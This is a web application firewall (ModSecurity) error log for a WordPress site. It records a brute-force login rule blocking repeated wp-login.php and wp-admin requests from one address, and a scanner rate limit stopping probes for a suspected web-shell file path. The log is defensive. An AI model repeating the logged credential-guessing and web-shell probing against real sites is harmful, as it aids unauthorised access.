[Sat Feb 28 01:59:07.822382 2026] [:error] [pid 15098:tid 15129] [client 5.189.134.86:62561] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHba8kFqny8dQQbmTkueAAAAJc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:11.446323 2026] [:error] [pid 15100:tid 15163] [client 5.189.134.86:64792] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbb0OEbzcINan_ctLRdgAAAEM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:12.798278 2026] [:error] [pid 15100:tid 15165] [client 5.189.134.86:64792] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbcEOEbzcINan_ctLRdwAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:12.798355 2026] [:error] [pid 15100:tid 15165] [client 5.189.134.86:64792] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbcEOEbzcINan_ctLRdwAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:15.325181 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:64297] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbc7_i6nvKNhjFW7VhygAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:16.651066 2026] [:error] [pid 38586:tid 38595] [client 5.189.134.86:64297] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbdL_i6nvKNhjFW7VhzwAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:16.651131 2026] [:error] [pid 38586:tid 38595] [client 5.189.134.86:64297] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbdL_i6nvKNhjFW7VhzwAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:18.001258 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:50358] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbdgP6I7SRqrhh7RowrwAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:19.336703 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:50358] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbdwP6I7SRqrhh7RowtAAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:20.667367 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:50358] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbeAP6I7SRqrhh7RowtgAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:22.005644 2026] [:error] [pid 15240:tid 15248] [client 5.189.134.86:65295] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbei1iKL_41Rk9A9ONbAAAAAY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:23.273130 2026] [:error] [pid 15098:tid 15121] [client 5.189.134.86:54171] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbe8kFqny8dQQbmTkufwAAAI8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:24.625981 2026] [:error] [pid 15098:tid 15106] [client 5.189.134.86:54171] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbfMkFqny8dQQbmTkugAAAAIE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:25.631255 2026] [:error] [pid 38586:tid 38606] [client 20.220.148.100:20456] [client 20.220.148.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHbfb_i6nvKNhjFW7Vh1wAAARE"]
[Sat Feb 28 01:59:25.739722 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:50306] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbfQP6I7SRqrhh7RowywAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:26.041390 2026] [:error] [pid 38586:tid 38595] [client 20.220.148.100:20357] [client 20.220.148.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHbfr_i6nvKNhjFW7Vh2AAAAQY"]
[Sat Feb 28 01:59:26.463887 2026] [:error] [pid 38620:tid 38645] [client 20.220.148.100:20450] [client 20.220.148.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHbfgP6I7SRqrhh7Row0AAAAVc"]
[Sat Feb 28 01:59:26.873658 2026] [:error] [pid 38620:tid 38632] [client 20.220.148.100:20459] [client 20.220.148.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHbfgP6I7SRqrhh7Row0wAAAUo"]
[Sat Feb 28 01:59:26.977091 2026] [:error] [pid 38620:tid 38634] [client 5.189.134.86:58018] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbfgP6I7SRqrhh7Row1AAAAUw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:28.227759 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:51204] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbgAP6I7SRqrhh7Row3QAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:29.554963 2026] [:error] [pid 15098:tid 15107] [client 5.189.134.86:52268] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbgckFqny8dQQbmTkugQAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:29.555045 2026] [:error] [pid 15098:tid 15107] [client 5.189.134.86:52268] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbgckFqny8dQQbmTkugQAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:30.652835 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:54369] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbggP6I7SRqrhh7Row6gAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:31.978225 2026] [:error] [pid 38620:tid 38622] [client 5.189.134.86:50454] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbgwP6I7SRqrhh7Row8AAAAUA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:33.090462 2026] [:error] [pid 38586:tid 38604] [client 5.189.134.86:55617] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbhb_i6nvKNhjFW7Vh5wAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:34.201716 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:55617] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbhgP6I7SRqrhh7Row9wAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:35.451521 2026] [:error] [pid 38620:tid 38641] [client 5.189.134.86:51098] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbhwP6I7SRqrhh7Row_wAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:38.184885 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:51098] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbigP6I7SRqrhh7RoxCwAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:39.527939 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:51098] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbiwP6I7SRqrhh7RoxEgAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:40.810311 2026] [:error] [pid 38620:tid 38628] [client 5.189.134.86:51098] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbjAP6I7SRqrhh7RoxIAAAAUY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:41.906543 2026] [:error] [pid 15098:tid 15117] [client 5.189.134.86:54729] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbjckFqny8dQQbmTkuhQAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:43.240948 2026] [:error] [pid 15240:tid 15266] [client 5.189.134.86:49800] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbjy1iKL_41Rk9A9ONjQAAABg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:44.581023 2026] [:error] [pid 38620:tid 38627] [client 5.189.134.86:49800] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbkAP6I7SRqrhh7RoxLgAAAUU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:45.697407 2026] [:error] [pid 15100:tid 15161] [client 5.189.134.86:53995] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbkUOEbzcINan_ctLRjQAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:45.697555 2026] [:error] [pid 15100:tid 15161] [client 5.189.134.86:53995] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbkUOEbzcINan_ctLRjQAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:46.940988 2026] [:error] [pid 15100:tid 15183] [client 5.189.134.86:51514] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbkkOEbzcINan_ctLRjgAAAFc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:48.278164 2026] [:error] [pid 15099:tid 15139] [client 5.189.134.86:65420] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHblOnvP2vtPjYDq_hBVgAAAMY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:49.531493 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:54985] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHblQP6I7SRqrhh7RoxRQAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:50.791710 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:54985] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHblgP6I7SRqrhh7RoxTgAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:52.125795 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:63125] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbmAP6I7SRqrhh7RoxVwAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:52.125879 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:63125] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbmAP6I7SRqrhh7RoxVwAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:53.456667 2026] [:error] [pid 15098:tid 15125] [client 5.189.134.86:61821] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbmckFqny8dQQbmTkuiQAAAJM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:54.794194 2026] [:error] [pid 15100:tid 15181] [client 5.189.134.86:61821] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbmkOEbzcINan_ctLRnQAAAFU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:55.897071 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:52755] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbmwP6I7SRqrhh7RoxaAAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:56.997263 2026] [:error] [pid 38586:tid 38613] [client 5.189.134.86:65257] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbnL_i6nvKNhjFW7ViHwAAARg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:58.324576 2026] [:error] [pid 15098:tid 15107] [client 5.189.134.86:54322] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbnskFqny8dQQbmTkukQAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:59:58.324661 2026] [:error] [pid 15098:tid 15107] [client 5.189.134.86:54322] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbnskFqny8dQQbmTkukQAAAII"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:01.267626 2026] [:error] [pid 38586:tid 38590] [client 5.189.134.86:55551] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbob_i6nvKNhjFW7ViKgAAAQE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:03.126444 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:55551] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbo7_i6nvKNhjFW7ViLgAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:04.679118 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:55551] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbpL_i6nvKNhjFW7ViMgAAAQM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:06.010639 2026] [:error] [pid 38586:tid 38603] [client 5.189.134.86:55989] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbpr_i6nvKNhjFW7ViOAAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:07.106348 2026] [:error] [pid 15098:tid 15130] [client 5.189.134.86:60693] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbp8kFqny8dQQbmTkumwAAAJg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:08.355224 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:49488] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbqL_i6nvKNhjFW7ViPAAAAQM"], referer: https://gigfragments.org/wp-login.php
